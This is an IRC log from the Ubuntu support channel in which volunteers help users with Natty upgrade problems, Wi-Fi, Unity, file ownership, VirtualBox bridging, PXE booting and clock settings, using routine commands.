[15:23] <jrib> researcher: please ask in #ubuntu-offtopic, this channel is focused on support
[15:23] <researcher> in India, Bombay & Pune city. triners will be paid
[15:23] <luxores> May  4 14:53:42 -ThinkPad-X100e kernel: [ 1326.581624] qcserial 1-3:1.3: device disconnected
[15:23] <alexUnder> is there any error here? it wont run (its inside a .sh file) ------>   /home/alex/.nuke/Nuke6.0 -b %f
[15:23] <luxores> May  4 14:53:42 -ThinkPad-X100e kernel: [ 1326.860109] usb 1-3: new high speed USB device using ehci_hcd and address 59
[15:23] <luxores> May  4 14:53:43 -ThinkPad-X100e kernel: [ 1327.012558] usb 1-3: config 1 has an invalid interface number: 1 but max is 0
[15:23] <mhaddog> morning
[15:24] <Dark_Star1> compdoc: http://fpaste.org/FEuS/
[15:24] <Zuhaitz> Hi, I just bought an USB-Wifi gadget for my wlan and Linux support, the connection is OK, but is VERY, very slow, is imposible to work that way, is the second I bought, I changed the previous because happened the same thing, can someone help please? I dont know what can be the problem.
[15:24] <luxores> can you give me some help?
[15:25] <compdoc> Dark_Star1, you use the gnome desktop?
[15:25] <mosez> llutz: http://pastie.org/1864271 and what exactly?
[15:25] <Dark_Star1> compdoc: yeah
[15:25] <Guest94920> hola a todos no tengo ni idea de que tipo de chat es este
[15:25] <sine_> hi
[15:25] <sine_> hi
[15:25] <Guest94920> alguien me puede explicar
[15:25] <Dark_Star1> compdoc: it's a standard 10.10 install
[15:25] <Guest94920> para que sirbe
[15:25] <Guest94920> sirve
[15:26] <sine_> im having an issue with ubuntu on a new laptop it keeps freesing the internet
[15:26] <sine_> freezing
[15:26] <compdoc> Dark_Star1, open the menu System>Preferrences>Network Conecctions, is there anything listed in Wired?
[15:27] <Dark_Star1> compdoc: yup auto eth2
[15:27] <devon_hillard> I tried installing MSTTCOREFONTS and I got a Microsoft EULA. How do I continue? There is no 'Click OK', what do I press? The package manager is blocked at this stage.
[15:27] <devon_hillard> I tried pressing enter or page down etc...
[15:27] <Dr_Willis> devon_hillard:  hiot the tab key over to the yes/no button and hit enter
[15:27] <compdoc> Dark_Star1, delete that, beacuse we're going to set the card manually, and not thru network manager
[15:28] <Dr_Willis> devon_hillard:  if its sjhowing the EULA. hit 'q'to quit it.
[15:28] <researcher> I cant start my sound in Natty. Kindly advice
[15:28] <devon_hillard> <Dr_Willis> thanks, life saver
[15:28] <Dark_Star1> compdoc: doone
[15:28] <sine_> how can i list process and their cpu usage and also the bw allocation of procecces]
[15:28] <Dr_Willis> sine_:  htop,  can most likely do that.
[15:28] <devon_hillard> Dr_Willis: I tried closing the console, but the package manager still kept the locks on
[15:28] <sine_> ta
[15:28] <Guest94920> hi sine you talk spanis
[15:29] <Dr_Willis> devon_hillard:  tjhres some apt-get command, or dpkg-reconfigure that will make it reshow the silly EULA thing
[15:29] <hansu> anyone know how can i read/write in my hdd using LBA method ? any example in asm .. ?!
[15:29] <compdoc> Dark_Star1, eth0 uses dhcp?
[15:29] <Guest94920> Iam Argentino
[15:30] <Dark_Star1> compdoc: No eth0 is commented out.. I have 2 cards the one I'm using right now has a manual address set
[15:30] <noob> Can somebody help me with upgrading? There is a problem
[15:30] <InHisName> I've just u/g to 11.04 and all was fine until screen blanking cut in.   Now all I have is a mouse arrow and black screen.  NO login prompt to unlock screen blanking.
[15:30] <usr13> compdoc: Dark_Star1  Considered wicd yet?  (Many find it simplier and easier to use.)
[15:30] <zizban> noob, whats your problem?
[15:30] <Dark_Star1> compdoc: it's named eth0-eth2 as shown in the network interfaces file
[15:30] <compdoc> Dark_Star1, ok, so you want eth0 to use that static ip? thats cool
[15:30] <dr0id> what permission do you generally need over a dir and a file to change it's permissions ?
[15:31] <sine_> downloading habgs
[15:31] <llutz> mosez: seems openvpn needs some scripts to do, look at this example http://www.phocean.net/2006/12/07/openvpn-and-dns-on-a-linux-client.html
[15:31] <sine_> it freezes on getting headers
[15:31] <Guest94920> haaaaaaaaaaaa
[15:31] <dr0id> what permission do you generally need over a dir and a file to change it's permissions ?
[15:31] <Guest94920> I dont andestan
[15:32] <Dr_Willis> !permissions | dr0id
[15:32] <ubottu> dr0id: An explanation of what file permissions are and how they can be manipulated can be found at https://help.ubuntu.com/community/FilePermissions
[15:32] <usr13> compdoc: sudo apt-get install wicd ; sudo apt-get remove network-manager   #Log out and back in again.
[15:32] <dr0id> I am sure I have read that before :) woll re-read, thanks
[15:32] <Dr_Willis> dr0id:  a dir would need to be writeable perhaps.
[15:32] <Dr_Willis> dr0id:  and executable.
[15:32] <dr0id> hmm
[15:33] <Dr_Willis> and of course you rarely see somthing wruiteable without it being readable. :)
[15:33] <dr0id> what about a file ?
[15:33] <noob> zizban: i upgraded to the 11.04 beta or whaterver from 10.10, and now when I go to the update manager it says "partial upgrage" but after running that it closes after a couple second
[15:33] <Dark_Star1> usr13: no thnaks.. I need to manually configure this but i've not bridged before  let alone with a virtualised guest
[15:33] <dr0id> hehe, yeah
[15:33] <GAN900> So, 11.04 now segfaults while booting and goes into initramfs. As the 11.04 i386 image's usb-creator gives me a flash drive that hangs at SYSLINUX, how can I fsck in initramfs?
[15:33] <bencc> why does this page give me error: http://packages.ubuntu.com/jaunty/erlang
[15:33] <llutz> dr0id: only root or the owner of a file/dir can change permissions
[15:33] <dr0id> aah, I see
[15:33] <zizban> noob, I hear upgrades from the 11.04 beta are hit and miss
[15:33] <usr13> Dark_Star1: Ok, just a suggestion.
[15:33] <dr0id> thanks, there we go :)
[15:33] <compdoc> Dark_Star1, try this in your interfaces file. backup the old one if you like: http://pastebin.com/0NPcD91j
[15:33] <Dr_Willis> owner can always change permissions.. otherwise they could lock theirselfs out. :)
[15:33] <noob> zizban: why?
[15:34] <Dark_Star1> compdoc: Yeah. I want all network traffic on eth2 to go to vboxnet0
[15:34] <Guest94920> hola
[15:34] <vak> What is the shortcut to show desktop in Unity ?
[15:34] <dr0id> HOLA
[15:34] <Guest94920> Hablas español
[15:34] <Dr_Willis> Dark_Star1:  theres some Virtualbox network config setting. that lets the vbox instance show up on the lan as if it was a 'real' machine. getting  an ip on the normal lan range.
[15:34] <zizban> noob, I don't know why. They just seem to be. I wouldn't have recommended it myself
[15:34] <Guest94920> porque no entiendo nada
[15:34] <ayecee> !es | Guest94920
[15:34] <BlouBlou> vak: 'super' (windows logo key)
[15:34] <dabukalam> I'm trying to install natty, just booted off the disk, and I get the splash screen followed by initramfs giving me a mount error for /dev/loop0 on //filesystem.squashfs or something along those lines.
[15:34] <ubottu> Guest94920: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[15:34] <Dr_Willis> Dark_Star1:  Or it can be on its own private network.
[15:35] <gaelfx> could someone tell me where to go to figure out how to block ISP-injected ads? (I know this is not the place for it, I just a need a good place to go)
[15:35] <compdoc> Dark_Star1, any vm that uses the bridge br1 will obtain an ip address from your lan's dhcp server, unless you give the VM a static ip
[15:35] <Dr_Willis> vak:  check  this unity guide >  http://theravingrick.blogspot.com/2011/04/my-effort-at-writing-help-for-unity.html
[15:35] <NAHH> rg
[15:35] <dabukalam> gaelfx: #web? #programming? #ISPcomparators?
[15:36] <Dark_Star1> Dr_Willis: I tried that (choosing the bridge network settings) but it turned out it wans't that simple... I need the guest os to repsond to a manually assigned ip address
[15:36] <Dark_Star1> compdoc: Yeah I'll be manually assigning an address to the guest
[15:36] <lukenukem> Hey, can someone help me with a problem with Natty Narwhal?
[15:36] <dabukalam> !ask | lukenukem
[15:36] <ubottu> lukenukem: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[15:37] <compdoc> Dark_Star1, dhcp tends to be better, but as long as you set the static right...
[15:37] <w30> my Unity chooser in my login screen doesn't work; How can I login with Unity? I can get Unity ok id I restart window manager in fusion utility.
[15:37] <Dark_Star1> compdoc: and less headachy but I just need to have the guest OS on it's own permanent address
[15:38] <ojii> is it normal that banshee doesn't show a notification when the song changes? If not, how do I enable it?
[15:38] <compdoc> thats fine
[15:38] <lukenukem> Cool! So, I've just upgraded from 10.10 (I guess) to NN. After installing and restarting I can still move the mouse thingy but the rest is frozen.
[15:38] <lukenukem> Is there anything I can do?
[15:38] <rtdos> HELP: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[15:38] <untu> how do I display gnome in the realease 11.04?
[15:38] <sine_> new install of 11.04 internet keeps freezing have to recon to irssi. windows is fine. not sure if it wifi drivers or something else please help
[15:39] <BlouBlou> untu: Go to gdm menu, in which you select user, and select in a box below user password >> classic-session
[15:39] <untu> gdm???
[15:39] <usr13> sine_: You have no network connection?  Is that it?
[15:39] <BlouBlou> untu: in session-screen, login window
[15:39] <compdoc> Dark_Star1, you do have bridge-utils installed?
[15:39] <ojii> lukenukem, not an expert, but you could try: ctrl+alt+F2, type  `metacity --replace &`, ctrl+alt+F7
[15:40] <sine_> no im here with the inet con but it keeps freezing and hanging like on getting binaries
[15:40] <Dark_Star1> compdoc: don't think so. I'll check
[15:40] <Superstar> Are there any tools to limit CPU for certain processes? I've tried CPULIMIT but it doesn't handle spawned processes
[15:40] <sine_> and irc updates in floods
[15:40] <TheRedOctober> How do you kill a user logged into an X session without killing X?
[15:40] <compdoc> Dark_Star1, you do need that, although you wont be needing to use any of its commands
[15:40] <noob> does anybody have experince of upgrading from 11.04 beta to just 11.04?
[15:40] <sine_> think it was after the updates yesterday
[15:40] <Jenk> Could someone explain the output of ls -l , in this case, "-rwxrwxrwx 1 root root 67548"  ?
[15:40] <usr13> sine_: ... and it's  using a wireless connection?  Is this a laptop or a desktop PC?
[15:40] <shashwatpns> There is no software sources in my system administration (10.10) !
[15:40] <ojii> lukenukem, or try to open a shell using ctrl+alt+t from your current screen (no F2ing)
[15:41] <untu> cant find it
[15:41] <sine_> new asus g53j laptop
[15:41] <Dark_Star1> compdoc: yes it's now installed
[15:41] <sine_> after install it was fine
[15:41] <shashwatpns> There is no software sources in my system administration (10.10) ! | help plz
[15:41] <llutz> Jenk: An explanation of what file permissions are and how they can be manipulated can be found at https://help.ubuntu.com/community/FilePermissions
[15:41] <usr13> sine_: What happened to mess it up?
[15:42] <BlouBlou> untu: click on your user and change in a small box bellow user-password box
[15:42] <donkeyinspace> FreeHCK , i ve been away, will try it later , thaks
[15:42] <gedO> Hello
[15:42] <lukenukem> ojii, I tried your first suggestion and I got the message: unable to open x display
[15:42] <noob> does anybody have experince of upgrading from 11.04 beta to just 11.04?
[15:42] <gedO> I can't install gnome tweak tool
[15:42] <gedO> apt-get can't find it. Can someoune help me?
[15:43] <ojii> lukenukem, that sounds bad and probably someone more experienced than me should try to help you
[15:43] <llutz> Jenk: your line: a 64k file, owned by root, group root is read-/write-/executable for everyone and has no hardlinks pointing to it
[15:43] <W00tty> hi
[15:43] <sine_> its using wifi usr13 im guessing that its either a process hogging the bandwidth or something with the wifi card or drivers. i just did a system update yesterday after i installed
[15:43] <BlouBlou> noob: it updates with normal updates, if you have all updates installed, you're running last version (no beta)
[15:43] <lukenukem> ojii, okay, thanks for helping, anyway. :)
[15:44] <noob> BlouBlou: When I launch update manager it says partial upgrade, then starts a distro upgrade which soon closes before it updates fully
[15:44] <Jenk> llutz, Thanks for the help. How can I change the owner and group to my account ?
[15:44] <llutz> Jenk: sudo chown $USER:$USER file
[15:44] <iggyology> is now sitting at his computer, asking for help with Ubuntu on a flash drive... trying to get Firefox to actually open and not just blink
[15:44] <compdoc> Dark_Star1, once that new interfaces file is saved, you have to restart netorking
[15:44] <BlouBlou> noob: That may be because you have old ubuntu and new ubuntu's repos added
[15:45] <Dark_Star1> compdoc: just doing that now.. Will let you know
[15:45] <untu> im so dumb
[15:46] <untu> is it in user grups
[15:46] <rtdos> HELP: how do i remove or uninstall the onscreen keyboard that comes up when my screensaver is active (only when i am unlocking the screensaver)
[15:46] <untu> ???
[15:46] <noob> BlouBlou: is there some app that can show system info like system distro?
[15:46] <iggyology> does anyone know why the Firefox icon would pulse, but Firefox wouldn't open? I'm using ubuntu on a flash drive
[15:46] <nerdshell> Is it possible to copy folders with scp ?
[15:46] <llutz> nerdshell: scr -r
[15:46] <llutz> scp -r
[15:46] <mbeierl> nerdshell: scp -r
[15:46] <Dr_Willis> iggyology:  run it from a terminal. look for errors
[15:46] <nerdshell> wow, thanks
[15:46] <nerdshell> :)
[15:46] <mbeierl> llutz: beat me to it :)
[15:46] <Dr_Willis> scp = cp
[15:46] <Jenk> llutz, It didn't help... The file permissions are still the same.
[15:47] <Dr_Willis> with ssh stuff
[15:47] <iggyology> Dr. Willis: Thanks, but can you help me understand what a terminal is?
[15:47] <iggyology> is it like a dos window?
[15:47] <BlouBlou> noob: I don't remember command now
[15:47] <Guest38000> Hi, guys. I want to configure on Ubuntu Server 10.10 Wi-Fi access point. Adapter is plugged in lsusb it is visible. Tell me if there is a program that provides WEB INTERFACE to easily setup and manage Wi-Fi to the client computers. To make it similar to the Web Interface for routers.
[15:47] <llutz> Jenk: permissions won't change, just user/group
[15:47] <nerdshell> Dr_Willis: you mean, scp takes the same options as cp ?
[15:47] <Dr_Willis> !term
[15:47] <shashwatpns> seriously, My Software Sources is Gone Someone Help me plzzzz
[15:47] <Dr_Willis> nerdshell:  yes it does
[15:47] <kubu2> untu: when you turn on your computer dose it ask you for user id/password?  this is the logon sscreen (aka gdm ) where you select session
[15:48] <untu> ok now i got it
[15:48] <nerdshell> iggyology: yes, it looks like a Dos window, to open one, go to Applications>Accessories>Terminal
[15:48] <milen8204> unity
[15:48] <iggyology> @Dr Willis : thank you... doing that now
[15:48] <llutz> Dr_Willis: scp has no -d option
[15:48] <InHisName> I've just u/g to 11.04 and all was fine until screen blanking cut in.   Now all I have is a mouse arrow and black screen.  NO login prompt to unlock screen blanking.
[15:48] <kubu2> untu: you logout and that woudl be it
[15:49] <Jenk> llutz, That too is the same... How come ?
[15:49] <Dark_Star1> compdoc: I madethe changes but before I restarted the network daemon I just pinged the Virtual guest and I get a response.
[15:49] <Zuhaitz> Hi, I just bought an USB-Wifi gadget for my wlan and Linux support, the connection is OK, but is VERY, very slow, is imposible to work that way, is the second I bought, I changed the previous because happened the same thing, can someone help please? I dont know what can be the problem.
[15:49] <llutz> Jenk: sudo chown $USER:$USER file                    file= the filename of your file to change
[15:49] <Dark_Star1> compdoc: I don't know how but I'll take it.. :D
[15:49] <compdoc> Dark_Star1, so you think its working?
[15:50] <iggyology> I'm in a terminal window, can anyone tell me the command line to start Firefox this way.. and I'll look for errors.
[15:50] <skymera> firefox
[15:50] <Dark_Star1> compdoc: Well I think so.. I can ping it from my laptop so yeah
[15:50] <compdoc> gksudo firefox
[15:50] <Dr_Willis> iggyology:  its 'firefox'  :) logical eh
[15:50] <rumpe1> iggyology, or shorter: fir[TAB]
[15:50] <sine_> hehe the sound just decides to stop working
[15:50] <iggyology> lol...
[15:50] <MrKeuner> hello, how can I disable a user temporarily using the shell?
[15:50] <llutz> Jenk: on what filesystem is the file (vfat/ntfs)?
[15:50] <iggyology> So I'm surprised...
[15:51] <noob> when
[15:51] <compdoc> Dark_Star1, like I said - bridges are easy
[15:51] <Dr_Willis> iggyology:  theres also 'firefox --help' if its a user setting issue, you can try the failsafe, or other profiles.
[15:51] <iggyology> firefox opened just fine this way!!!!!
[15:51] <iggyology> weird
[15:51] <llutz> Jenk: chown only works on unix-filesystems. for ntfs/vfat you'll have to use mount-options (uid/gid)
[15:51] <kubu2> compdoc: why gksudo?
[15:51] <Dr_Willis> iggyology:  you dident run it with gksudo did you?
[15:51] <rumpe1> iggyology, you will never need a panel or widgets ever again ;)
[15:51] <Jenk> llutz, Doesn't work. It's 'fuseblk' .
[15:51] <Dr_Willis> kubu2:  its silly to run it as root.
[15:51] <noob> When I try to install something from the software center, it says download failed
[15:51] <researcher> is natty known for sound issues?
[15:51] <Jenk> llua, Is 'fuseblk' a Unix fs ?
[15:51] <kubu2> Dr_Willis: exactly
[15:51] <Dark_Star1> kubu2: because it opens up a root like finder windoww
[15:51] <compdoc> kubu2, thats what ppl are saying you should use to run a graphical app
[15:51] <nerdshell> Dr_Willis: what is gksudo ?
[15:52] <rumpe1> !fuse
[15:52] <ubottu> FUSE (Filesystem in Userspace) is a !kernel driver that allows non-root users to create their own filesystems. See http://en.wikipedia.org/wiki/Filesystem_in_Userspace for more on FUSE.  Some examples of filesystems that use FUSE are !ntfs-3g, sshfs and isofs. A full list of Filesystems that use FUSE is here:  http://fuse.sourceforge.net/wiki/index.php/FileSystems
[15:52] <Dr_Willis> Jenk:  fuse  is a tool to do special kionds of filesystems.
[15:52] <Dr_Willis> Jenk:  like accessing a .zip file as if it was a directory.
[15:52] <llutz> !ntfs-3g | Jenk so it's ntfs most likely
[15:52] <ubottu> Jenk so it's ntfs most likely: ntfs-3g is a Linux driver which allows read/write access to NTFS partitions. Installation instructions at https://help.ubuntu.com/community/MountingWindowsPartitions
[15:52] <iggyology> I just typed "firefox" in the terminal window and it opened just fine. For some reason the icon on the apps bar won't open Firefox correctly.
[15:52] <sine_> how do i restart my sound system
[15:52] <Dr_Willis> !sudo |  nerdshell
[15:52] <ubottu> nerdshell: sudo is a command to run command-line programs with superuser privileges ("root") (also see !cli). Look at https://help.ubuntu.com/community/RootSudo for more information. For graphical applications see !gksu (GNOME, Xfce), or !kdesudo (KDE). If you're unable to execute commands with sudo see: http://www.psychocats.net/ubuntu/fixsudo
[15:52] <kubu2> compdoc: no need as you want firefox to run as normal user
[15:52] <sine_> the sound works at bootup for a minute or two then stops working
[15:53] <compdoc> kubu2, good point
[15:53] <bobo123> is there a command which will tell me active services on host, which is located on a local network
[15:53] <dfgas> updated to 11.04 and now my screen is all messed up. besides /etc/X11/xorg.conf is there any other settings i can delete?
[15:53] <dfgas> so it will auto setup my screen again?
[15:53] <iggyology> I wonder if I have to install something to make the Firefox icon work properly... I would hate to open a terminal window every time I want to open Firefox!
[15:53] <kubu2> Dark_Star1: no need to run as root
[15:53] <Jenk> Dr_Willis, Thanks for that...
[15:53] <Dr_Willis> sine_:  so if you start playing a movie or song at login,, will it keep playing?  if it breaks after you are 'quiet' for a while. It could be the sound drivers going into a powerdown/power savceing sleep mode and not wakeing up
[15:54] <Jenk> llutz, Alright, I'll transfer it to a Linux fs and try again.
[15:54] <incorrect> i know someone who wants to try ubuntu,  what they want is a virtual pc image,
[15:54] <Dark_Star1> kubu2: agreed...
[15:54] <lastoflast> need help in smtp server of gmail in evolution
[15:54] <MrKeuner> !"disable user"
[15:54] <sine_> it will keep playing
[15:54] <OneTXxL> hello
[15:54] <gr8audioguy> Good Morning folks! I am going batty with Natty in the networking area. Everything worked fine in 10.10 but now I can't see other computers at all, not even the Windows volume on my C drive. Personal File Sharing is "greyed out" in system settings -> network (says proper packages are not installed)  yet Samba is installed and (apparently) configured. Can anyone kindly point me in the right direction?
[15:54] <sine_> how do i reenable them
[15:54] <sine_> Dr_Willis:
[15:54] <Bisu[Shield]> what is the best tool for comparing files
[15:54] <OneTXxL> novice bt4
[15:55] <Jenk> llutz, It works ! It works !! Thank you, thanks a million ! :)
[15:55] <iggyology> I would very much like to PM with someone who can help me with my new flash loaded Ubuntu.
[15:55] <Bisu[Shield]> like a gui for diff
[15:55] <jatt> Bisu[Shield]: vimdiff
[15:55] <iggyology> This room is very busy.
[15:55] <ravidar> yup
[15:55] <lastoflast> need help in smtp server of gmail in evolution
[15:55] <OneTXxL> you speak frenc?
[15:55] <ToeKutter> yea it is.. too many Qs
[15:55] <gbjk> For anyone that cared: I found my problem is that I cannot run NVIDIA OPTIMUS under linux. Turn it off and I'm fine.
[15:55] <iggyology> I think it's good that people are getting into Linux.
[15:55] <OneTXxL> no speak inglish
[15:56] <lastoflast> need help in smtp server of gmail in evolution
[15:56] <Pici> !fr | OneTXxL
[15:56] <ubottu> OneTXxL: Ce canal est en anglais uniquement. Si vous avez besoin d'aide ou voulez discuter en francais, merci de rejoindre #ubuntu-fr, ou #ubuntu-qc. Merci.
[15:56] <ToeKutter> agree iggy
[15:56] <sine_> hmmm i think you are right you know there is an issue with sleep mode and this klaptop
[15:56] <yuskhanzab> until when maverick version will be support?
[15:56] <OneTXxL> thank you pici
[15:56] <g[r]eek> Hello. Is there any way to get a list of installed programs on my ubuntu server? I did a default server install a few years ago and have since installed a couple of programs (ie: OpenSSH server). I'd like to make a list of all the installed programs if possible. Thanks
[15:57] <OneTXxL> commen je peu faire sa
[15:57] <OneTXxL> avec xchat ?
[15:57] <iggyology> Would anyone like to help me with my flash installed ubuntu?
[15:57] <yuskhanzab> maverick support until when????
[15:57] <Pici> OneTXxL: /join #ubuntu-fr
[15:57] <ayecee> OneTXxL: taper /join #ubuntu-fr
[15:57] <BlouBlou> !maverick | yuskhanzab
[15:57] <ubottu> yuskhanzab: Ubuntu 10.10 (Maverick Meerkat) was the thirteenth release of Ubuntu. Download http://releases.ubuntu.com/10.10/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1010
[15:57] <llutz> g[r]eek: dpkg -l|grep ^ii   ;)
[15:57] <ToeKutter> iggy - USB installed ubuntu ?
[15:57] <Pici> yuskhanzab: April 2012
[15:57] <syockit> iggyology, or adobe flash?
[15:58] <OneTXxL> thank
[15:58] <Jenk> iggyology, You mean Ubuntu installed on a thumb drive ?
[15:58] <iggyology> is talking with Jenk
[15:58] <yuskhanzab> Pici, is it ok if i use it over april 2012?
[15:59] <yuskhanzab> after*
[15:59] <OneTXxL> ji arrive pa
[15:59] <Pici> yuskhanzab: Sure, but you won't receive and updates or be able to get support here.
[15:59] <OneTXxL> pouvai vou me dire la manipulation et ou a mettre s'il vous plait
[15:59] <iggyology> is messaging Jenk
[15:59] <yuskhanzab> owh, i see..
[15:59] <yuskhanzab> thx for the info Pici
[15:59] <jrib> !away > sebrock
[15:59] <ubottu> sebrock, please see my private message
[16:00] <jack> ?
[16:00] <iggyology> yes, a thumb drive... I'm messaging you back in pm
[16:00] <Zuhaitz> Hi, I just bought an USB-Wifi gadget for my wlan and Linux support, the connection is OK, but is VERY, very slow, is imposible to work that way, is the second I bought, I changed the previous because happened the same thing, can someone help please? I dont know what can be the problem.
[16:01] <OneTXxL> je pense avoir réussit lerci
[16:01] <OneTXxL> merci
[16:01] <OneTXxL> thank you very much
[16:02] <iggyology> pm'ed Dr. Willis
[16:02] <k_sze> What's the best tiling window manager for Xubuntu (i.e. XFCE)? Xmonad?
[16:02] <jrib> k_sze: the one you like best is the best
[16:02] <iggyology> would like to continue to pm Jenk
[16:03] <iggyology> I'm looking for help with Ubuntu I loaded onto a flash memory drive
[16:04] <vooze> iggyology, ask what you need help about insted
[16:04] <iggyology> ok
[16:04] <rpk> Is ubuntu.com down right now?
[16:04] <k_sze> jrib: I should put it another way. I have never used any, so I don't know what my options are. Googling xfce+tiling doesn't reveal much; I think the only name I spot right away is Xmonad. I would just like to know if that's my only option.
[16:04] <iggyology> I loaded Firefox on ubuntu... I click on the icon and it just pulses.. but doesn't open.. so I...
[16:05] <k_sze> rpk: not for me.
[16:05] <riktking> rpk, nope
[16:05] <iggyology> opened a terminal window, typed "firefox" and..
[16:05] <jrib> k_sze: personally I like xmonad.  Awesome is another popular one
[16:05] <iggyology> it opened just fine..
[16:05] <iggyology> I'm perplexed
[16:05] <usr13> rpk: Turn of the ubuntu.com filter.
[16:05] <rpk> http://www.ubuntu.com/download Shows the drupal site offline
[16:05] <Pici> rpk: took a little bit here, but I'm having some other network issues.
[16:06] <k_sze> jrib: lol, what a name.
[16:06] <Jessica903> anyone here know anything about PXE over wireless?
[16:07] <rpk> usr13: ubuntu.com filter?
[16:07] <Dr_Willis> wireless can do PXE?
[16:07] <fredrik_> Now I done it... When I login with unity I only get a background image.. nothing else. I think I messed up in compiz-config. I tried to delete the .compiz folder in my home but that didnt help.. how do I solve this?
[16:07] <nanog> no
[16:07] <Jessica903> well, that's part of the question
[16:07] <jrib> k_sze: I remember reading the name came from barney's character in HIMYM
[16:07] <usr13> rpk: Sorry, was only teasing.  Couldn't resist.
[16:07] <nanog> you can't do it
[16:07] <Co11ym00r3> hi guys i'm having problem with rfkill
[16:07] <Griffin_> hey guys I'm trying to install ubuntu but my processor overheats so I'm trying wubi but when it I still get the problem. is there a way to scale cpu frequency for the duration of the install
[16:07] <Co11ym00r3> everytime I poweroff my laptop
[16:08] <Co11ym00r3> it disable the wifi
[16:08] <Jessica903> I was reading about making a grub boot disk http://wiki.linuxmce.org/index.php/GRUB_PXE_network_boot
[16:08] <Dr_Willis> fredrik_:  http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[16:08] <fredrik_> if I log in with clasic and turn ubuntu plugin on in compiz-settings I get the unity launcher back with my settings.. but not the panel
[16:08] <brilldoctor> Im having a issue with my graphics drivers in ubuntu
[16:08] <nanog> Jessica903: pxe is for wired lan
[16:08] <usr13> Dr_Willis: Maybe if you used a wireless bridge you could.  But otherwise, I don't think so.
[16:08] <pwrusr> Hi i'm running natty with gnome3 and cant seem to find where to set up keyboard shortcuts and help woule be greatly appreciated
[16:08] <iggyology> In short: 1-loaded ubuntu on flash drive, 2-reloaded Firefox to try and fix issue of Firefox not opening 3-still wouldn't open, 4-opened a terminal window typed "firefox" and it opened. I'm looking to pm someone who thinks they know what is wrong.
[16:08] <iggyology> I want to learn ubuntu so I can start helping other noobs.
[16:08] <krishnandu> hi i m gwtting blank screen after upgrade pls help. tried nomodset. no result
[16:09] <Dr_Willis> iggyology:  reloaded how? and how loaded on flash drive?
[16:09] <Jettis> Jessica903: http://etherboot.org/wiki/wirelessboot
[16:09] <iggyology> I loaded using the flash installer file that was recommended on ubuntu's website
[16:09] <Dr_Willis> iggyology:  could be the launcher is doing somtjhing weird. make a new launcher icon for it perhaps
[16:09] <mado> hello
[16:09] <mstevens> hi
[16:09] <nanog> heh i forgot about gpxe
[16:09] <fredrik_> Dr_Willis, but I dont want to reset the launcher.. it seems to work (if I start it in classic anyway). But the panel + launcher is gone in my unity login
[16:09] <iggyology> I did in fact drag a new icon into the bar, but that didn't work either
[16:09] <nanog> however, there are only two families of wlan cards supported
[16:09] <blink> upgraded to 11.04, removed unity, installed gnome, now I can't select checkboxes, and sometimes clicking buttons fails
[16:09] <s3r3n1t7> Whenever i'm connected to mumble server, which runs on my laptop (ubuntu 11.04) every now and then it disconnects briefly everyone who is connected to it
[16:09] <Jessica903> Basically, I wanna boot a static CD with PXE enabled Grub, and then grab my boot image wirelessly.  anyone done this?
[16:10] <zulax> unity broke, after enabling desktop cube, i see no panels, no dock....no shortcuts
[16:10] <nanog> Jessica903: that can be done
[16:10] <zulax> all i have access to is desktop icons!
[16:10] <Dr_Willis> zulax:  http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[16:10] <Griffin_> hey guys I'm trying to install ubuntu but my processor overheats so I'm trying wubi but when it I still get the problem. is there a way to scale cpu frequency for the duration of the install
[16:10] <nanog> i'd imagine you'll need an initrd though
[16:10] <nanog> where you'll load your wlan drivers
[16:10] <GAN900> Really? https://bugs.launchpad.net/ubuntu/+source/e2fsprogs/+bug/656526
[16:10] <ubottu> Ubuntu bug 656526 in e2fsprogs (Ubuntu) "Device or resource busy while trying to open" [Undecided,New]
[16:10] <Jessica903> I have a couple of really old intel wireless cards I wanna use instead of throwing them away
[16:10] <mado> whom do i have to report a wrong time on my computer (ubuntu 11.04) ... you see -> at the "clock" you can set a few times from various time zones ... i noticed one to be totally wrong so far (or since when does the East coast of the US almost use the same time as e.g. the UK does?)
[16:11] <Griffin_> hey guys I'm trying to install ubuntu but my processor overheats so I'm trying wubi but when it I still get the problem. is there a way to scale cpu frequency for the duration of the install
[16:11] <krishnandu> tried removing nviia drivers, didnt helped
[16:11] <iggyology> is pming Jenk right now..
[16:11] <Jessica903> nanog, can you point me in the right direction?  I'm kinda weak here...
[16:12] <Dr_Willis> Griffin_:  You have opened up the pc/dusted it out good? a cpu overheating that easially.. i would think bne a sign of a bigger problem
[16:12] <krishnandu> tried modifying kernel img n headers, no result
[16:12] <nanog> you will just want to create an initrd (squashfs) that includes your wlan drivers
[16:12] <Griffin_> I have sir and its really difficult to install as it shuts down
[16:12] <v3nd3tta``> someone knows how to enable the kmix channels and my mic again under lmint 10 kde? (worked under kubuntu 10.04)
[16:12] <nanog> I would just modofy en existing bootable setup
[16:12] <Griffin_> its an old laptop but is there a way around it?
[16:12] <usr13> mado: Set the time correctly and sync the system time with the hardware clock.
[16:13] <mado> usr13, ... am new to ubuntu ... how do i go about that?
[16:13] <nanog> the bootstrap will load the initrd which will in turn load your wlan, run a script to connect to your wifi, and then begin whetever else it is you're wanting to accomplish
[16:13] <nanog> if you're just wanting to have a diskless boot
[16:13] <zulax> Dr_Willis, thanks that was so annoying
[16:13] <Jessica903> is there any kind of "make boot disk" utility that will add the drivers I select?
[16:13] <nanog> then you should just load the system via nfs or tftp
[16:13] <mado> one moment ... i'll be right back
[16:14] <nanog> no, this is not for beginners
[16:14] <nanog> or even intermediates ;)
[16:14] <usr13> mado: Set the system time correctly and then sync the hardware clock with it.   sudo hwclock -w
[16:14] <Jessica903> nanog, what about stubborn biatches who wanna learn?
[16:15] <nanog> i suggest reading all you can about doing it with a LAN adapter
[16:15] <nanog> then apply the differences
[16:15] <nanog> there is stuff available that is pretty easily slapped together
[16:15] <nanog> to do this via LAN
[16:15] <Jessica903> cool
[16:16] <usr13> mado: sudo ntpdate pool.ntp.org
[16:16] <Jessica903> u8 and u10 can both ID my old PCMCIA WLAN card, so I have faith I can get it working.
[16:17] <usr13> mado: and then   hwclock -w
[16:17] <zulax> Dr_Willis, i dont think the shortcuts(terminal) is still working
[16:17] <usr13> mado: sudo hwclock -w
